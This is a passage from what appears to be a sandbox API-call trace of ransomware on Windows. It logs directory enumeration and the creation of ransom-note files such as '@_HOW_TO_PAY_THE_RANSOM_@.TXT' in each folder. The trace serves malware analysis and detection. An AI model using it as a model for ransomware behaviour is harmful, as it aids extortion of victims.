returned 0x524250 [0252.986] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40) returned 0x524370 [0252.986] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40) returned 0x5243b8 [0252.986] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x524370 | out: hHeap=0x510000) returned 1 [0252.986] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5243b8 | out: hHeap=0x510000) returned 1 [0252.986] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x524250 | out: hHeap=0x510000) returned 1 [0252.986] FindNextFileA (in: hFindFile=0x549810, lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2501398, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xd2501398, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0xdeb13af7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2880, dwReserved0=0x0, dwReserved1=0x3, cFileName="dewindow", cAlternateFileName="")) returned 1 [0252.986] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40) returned 0x524250 [0252.986] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40) returned 0x5243b8 [0252.986] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40) returned 0x524370 [0252.986] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5243b8 | out: hHeap=0x510000) returned 1 [0252.986] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x524370 | out: hHeap=0x510000) returned 1 [0252.986] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x524250 | out: hHeap=0x510000) returned 1 [0252.986] FindNextFileA (in: hFindFile=0x549810, lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2501398, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xd2501398, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0xdeb13af7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2880, dwReserved0=0x0, dwReserved1=0x3, cFileName="enwindow", cAlternateFileName="")) returned 1 [0252.986] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40) returned 0x524250 [0252.987] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40) returned 0x524370 [0252.987] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40) returned 0x5243b8 [0252.987] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x524370 | out: hHeap=0x510000) returned 1 [0252.987] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5243b8 | out: hHeap=0x510000) returned 1 [0252.987] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x524250 | out: hHeap=0x510000) returned 1 [0252.987] FindNextFileA (in: hFindFile=0x549810, lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2501398, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xd2501398, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0xdeb13af7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2880, dwReserved0=0x0, dwReserved1=0x3, cFileName="enwindow", cAlternateFileName="")) returned 0 [0252.987] FindClose (in: hFindFile=0x549810 | out: hFindFile=0x549810) returned 1 [0252.987] FindNextFileA (in: hFindFile=0x549790, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9cc4e394, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7fa6b2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9cce6d50, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName="tables", cAlternateFileName="")) returned 0 [0252.987] FindClose (in: hFindFile=0x549790 | out: hFindFile=0x549790) returned 1 [0252.987] FindNextFileA (in: hFindFile=0x549710, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd24b50de, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0x8fb7c680, ftLastAccessTime.dwHighDateTime=0x1ca0424, ftLastWriteTime.dwLowDateTime=0xda5451a5, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xa000, dwReserved0=0x2, dwReserved1=0x55ce18, cFileName="CreateDisc.dll", cAlternateFileName="")) returned 1 [0252.988] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x52cd80 [0252.988] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x556cb0 [0252.988] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x556cb0 | out: hHeap=0x510000) returned 1 [0252.988] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52cd80 | out: hHeap=0x510000) returned 1 [0252.988] FindNextFileA (in: hFindFile=0x549710, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9ce645a6, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa92ba2a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9cf231d1, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2, dwReserved1=0x55ce18, cFileName="Filters", cAlternateFileName="")) returned 1 [0252.988] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x52cd80 [0252.988] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x556cb0 [0252.988] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x55d638 [0252.988] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x556cb0 | out: hHeap=0x510000) returned 1 [0252.988] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55d638 | out: hHeap=0x510000) returned 1 [0252.988] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52cd80 | out: hHeap=0x510000) returned 1 [0252.988] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x52cd80 [0252.988] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x5a0) returned 0x597e58 [0252.988] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x556cb0 [0252.988] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x50) returned 0x544bf0 [0252.988] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x556cb0 | out: hHeap=0x510000) returned 1 [0252.988] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x533d90 [0252.988] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x533de0 [0252.988] AreFileApisANSI () returned 1 [0252.988] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 66 [0252.988] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x84) returned 0x536b88 [0252.988] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x536b88, cchWideChar=66 | out: lpWideCharStr="C:\\\\Windows\\ehome\\CreateDisc\\Filters\\@_FILES_WERE_ENCRYPTED_@.TXT") returned 66 [0252.988] CreateFileW (lpFileName="C:\\\\Windows\\ehome\\CreateDisc\\Filters\\@_FILES_WERE_ENCRYPTED_@.TXT" (normalized: "c:\\windows\\ehome\\createdisc\\filters\\@_files_were_encrypted_@.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4ab080, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x178 [0252.991] GetFileType (hFile=0x178) returned 0x1 [0252.991] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x536b88 | out: hHeap=0x510000) returned 1 [0252.992] AreFileApisANSI () returned 1 [0252.992] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 67 [0252.992] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x86) returned 0x536b88 [0252.992] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x536b88, cchWideChar=67 | out: lpWideCharStr="C:\\\\Windows\\ehome\\CreateDisc\\Filters\\@_HOW_TO_PAY_THE_RANSOM_@.TXT") returned 67 [0252.992] CreateFileW (lpFileName="C:\\\\Windows\\ehome\\CreateDisc\\Filters\\@_HOW_TO_PAY_THE_RANSOM_@.TXT" (normalized: "c:\\windows\\ehome\\createdisc\\filters\\@_how_to_pay_the_ransom_@.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4ab080, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x178 [0252.992] GetFileType (hFile=0x178) returned 0x1 [0252.992] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x536b88 | out: hHeap=0x510000) returned 1 [0252.994] AreFileApisANSI () returned 1 [0252.994] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 66 [0252.994] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x84) returned 0x536b88 [0252.994] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x536b88, cchWideChar=66 | out: lpWideCharStr="C:\\\\Windows\\ehome\\CreateDisc\\Filters\\@_HOW_TO_DECRYPT_FILES_@.TXT") returned 66 [0252.994] CreateFileW (lpFileName="C:\\\\Windows\\ehome\\CreateDisc\\Filters\\@_HOW_TO_DECRYPT_FILES_@.TXT" (normalized: "c:\\windows\\ehome\\createdisc\\filters\\@_how_to_decrypt_files_@.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4ab080, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x178 [0252.994] GetFileType (hFile=0x178) returned 0x1 [0252.994] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x536b88 | out: hHeap=0x510000) returned 1 [0252.995] FindFirstFileA (in: lpFileName="C:\\\\Windows\\ehome\\CreateDisc\\Filters\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9ce645a6, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x1426a5e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1426a5e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549790 [0252.996] FindNextFileA (in: hFindFile=0x549790, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9ce645a6, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x1426a5e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1426a5e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName="..", cAlternateFileName="")) returned 1 [0252.996] FindNextFileA (in: hFindFile=0x549790, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1426a5e0, ftCreationTime.dwHighDateTime=0x1d5c25a, ftLastAccessTime.dwLowDateTime=0x1426a5e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1426a5e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3, cFileName="@_FILES_WERE_ENCRYPTED_@.TXT", cAlternateFileName="@_FILE~1.TXT")) returned 1 [0252.996] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x50) returned 0x544bf0 [0252.996] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x50) returned 0x544ca0 [0252.996] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x544ca0 | out: hHeap=0x510000) returned 1 [0252.996] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5434a8 [0252.996] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5434a8 | out: hHeap=0x510000) returned 1 [0252.996] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x544bf0 | out: hHeap=0x510000) returned 1 [0252.996] FindNextFileA (in: hFindFile=0x549790, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1426a5e0, ftCreationTime.dwHighDateTime=0x1d5c25a, ftLastAccessTime.dwLowDateTime=0x1426a5e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x14290740, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3, cFileName="@_HOW_TO_DECRYPT_FILES_@.TXT", cAlternateFileName="@_HOW_~2.TXT")) returned 1 [0252.996] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x50) returned 0x544bf0 [0252.996] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x50) returned 0x544ca0 [0252.996] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x544ca0 | out: hHeap=0x510000) returned 1 [0252.996] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5434a8 [0252.996] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5434a8 | out: hHeap=0x510000) returned 1 [0252.996] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x544bf0 | out: hHeap=0x510000) returned 1 [0252.996] FindNextFileA (in: hFindFile=0x549790, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1426a5e0, ftCreationTime.dwHighDateTime=0x1d5c25a, ftLastAccessTime.dwLowDateTime=0x1426a5e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1426a5e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3, cFileName="@_HOW_TO_PAY_THE_RANSOM_@.TXT", cAlternateFileName="@_HOW_~1.TXT")) returned 1 [0252.996] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x50) returned 0x544bf0 [0252.996] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x50) returned 0x544ca0 [0252.996] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x544ca0 | out: hHeap=0x510000) returned 1 [0252.996] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5434a8 [0252.996] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5434a8 | out: hHeap=0x510000) returned 1 [0252.996] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x544bf0 | out: hHeap=0x510000) returned 1 [0252.996] FindNextFileA (in: hFindFile=0x549790, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa344aff2, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa344aff2, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa3471152, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xc600, dwReserved0=0x0, dwReserved1=0x3, cFileName="AudioDepthConverter.ax", cAlternateFileName="")) returned 1 [0252.996] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40) returned 0x524250 [0252.996] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40) returned 0x5243b8 [0252.996] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5243b8 | out: hHeap=0x510000) returned 1 [0252.996] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x524250 | out: hHeap=0x510000) returned 1 [0252.996] FindNextFileA (in: hFindFile=0x549790, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3092d8b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa3092d8b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa3092d8b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xf000, dwReserved0=0x0, dwReserved1=0x3, cFileName="DirectShowTap.ax", cAlternateFileName="")) returned 1 [0252.996] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40) returned 0x524250 [0252.997] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40) returned 0x5243b8 [0252.997] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5243b8 | out: hHeap=0x510000) returned 1 [0252.997] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x524250 | out: hHeap=0x510000) returned 1 [0252.997] FindNextFileA (in: hFindFile=0x549790, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa35096d4, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa35096d4, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa35096d4, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa800, dwReserved0=0x0, dwReserved1=0x3, cFileName="Offset.ax", cAlternateFileName="")) returned 1 [0252.997] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x52cd80 [0252.997] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x556cb0 [0252.997] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x556cb0 | out: hHeap=0x510000) returned 1 [0252.997] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52cd80 | out: hHeap=0x510000) returned 1 [0252.997] FindNextFileA (in: hFindFile=0x549790, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa32a80cf, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa32a80cf, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa32ce22f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x13400, dwReserved0=0x0, dwReserved1=0x3, cFileName="RTStreamSink.ax", cAlternateFileName="")) returned 1 [0252.997] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40) returned 0x524250 [0252.997] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40) returned 0x5243b8 [0252.997] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5243b8 | out: hHeap=0x510000) returned 1 [0252.997] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x524250 | out: hHeap=0x510000) returned 1 [0252.997] FindNextFileA (in: hFindFile=0x549790, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa34bd413, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa34bd413, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa34bd413, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x13600, dwReserved0=0x0, dwReserved1=0x3, cFileName="soniccolorconverter.ax", cAlternateFileName="")) returned 1 [0252.997] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40) returned 0x524250 [0252.997] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40) returned 0x5243b8 [0252.997] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5243b8 | out: hHeap=0x510000) returned 1 [0252.997] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x524250 | out: hHeap=0x510000) returned 1 [0252.997] FindNextFileA (in: hFindFile=0x549790, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa34bd413, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa34bd413, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa34bd413, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x13600, dwReserved0=0x0, dwReserved1=0x3, cFileName="soniccolorconverter.ax", cAlternateFileName="")) returned 0 [0252.997] FindClose (in: hFindFile=0x549790 | out: hFindFile=0x549790) returned 1 [0252.997] FindNextFileA (in: hFindFile=0x549710, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe02bb459, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0xe02bb459, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0xe02bb459, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x10e, dwReserved0=0x2, dwReserved1=0x55d620, cFileName="Pconfig.dcf", cAlternateFileName="")) returned 1 [0252.997] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x52cd80 [0252.997] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x556cb0 [0252.997] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x556cb0 | out: hHeap=0x510000) returned 1 [0252.998] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52cd80 | out: hHeap=0x510000) returned 1 [0252.998] FindNextFileA (in: hFindFile=0x549710, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa30df04c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa30df04c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa3235cae, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xef8800, dwReserved0=0x2, dwReserved1=0x55d620, cFileName="SBEServer.exe", cAlternateFileName="")) returned 1 [0252.998] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x52cd80 [0252.998] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x556cb0 [0252.998] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x556cb0 | out: hHeap=0x510000) returned 1 [0252.998] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52cd80 | out: hHeap=0x510000) returned 1 [0252.998] FindNextFileA (in: hFindFile=0x549710, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8863c14c, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x8863c14c, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x43f45420, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x6e00, dwReserved0=0x2, dwReserved1=0x55d620, cFileName="SBEServerPS.dll", cAlternateFileName="")) returned 1 [0252.998] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x52cd80 [0252.998] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x556cb0 [0252.998] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x556cb0 | out: hHeap=0x510000) returned 1 [0252.998] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52cd80 | out: hHeap=0x510000) returned 1 [0252.998] FindNextFileA (in: hFindFile=0x549710, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9ce645a6, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa92ba2a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9ce645a6, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2, dwReserved1=0x55d620, cFileName="SFXPlugins", cAlternateFileName="SFXPLU~1")) returned 1 [0252.998] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x52cd80 [0252.998] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x556cb0 [0252.998] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x55d638 [0252.998] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x556cb0 | out: hHeap=0x510000) returned 1 [0252.998] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55d638 | out: hHeap=0x510000) returned 1 [0252.998] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52cd80 | out: hHeap=0x510000) returned 1 [0252.998] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x52cd80 [0252.998] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x5a0) returned 0x597e58 [0252.998] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x556cb0 [0252.998] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x50) returned 0x544bf0 [0252.998] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x556cb0 | out: hHeap=0x510000) returned 1 [0252.998] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x533d90 [0252.998] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x533de0 [0252.998] AreFileApisANSI () returned 1 [0252.998] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 69 [0252.998] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8a) returned 0x58fe58 [0252.999] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x58fe58, cchWideChar=69 | out: lpWideCharStr="C:\\\\Windows\\ehome\\CreateDisc\\SFXPlugins\\@_FILES_WERE_ENCRYPTED_@.TXT") returned 69 [0252.999] CreateFileW (lpFileName="C:\\\\Windows\\ehome\\CreateDisc\\SFXPlugins\\@_FILES_WERE_ENCRYPTED_@.TXT" (normalized: 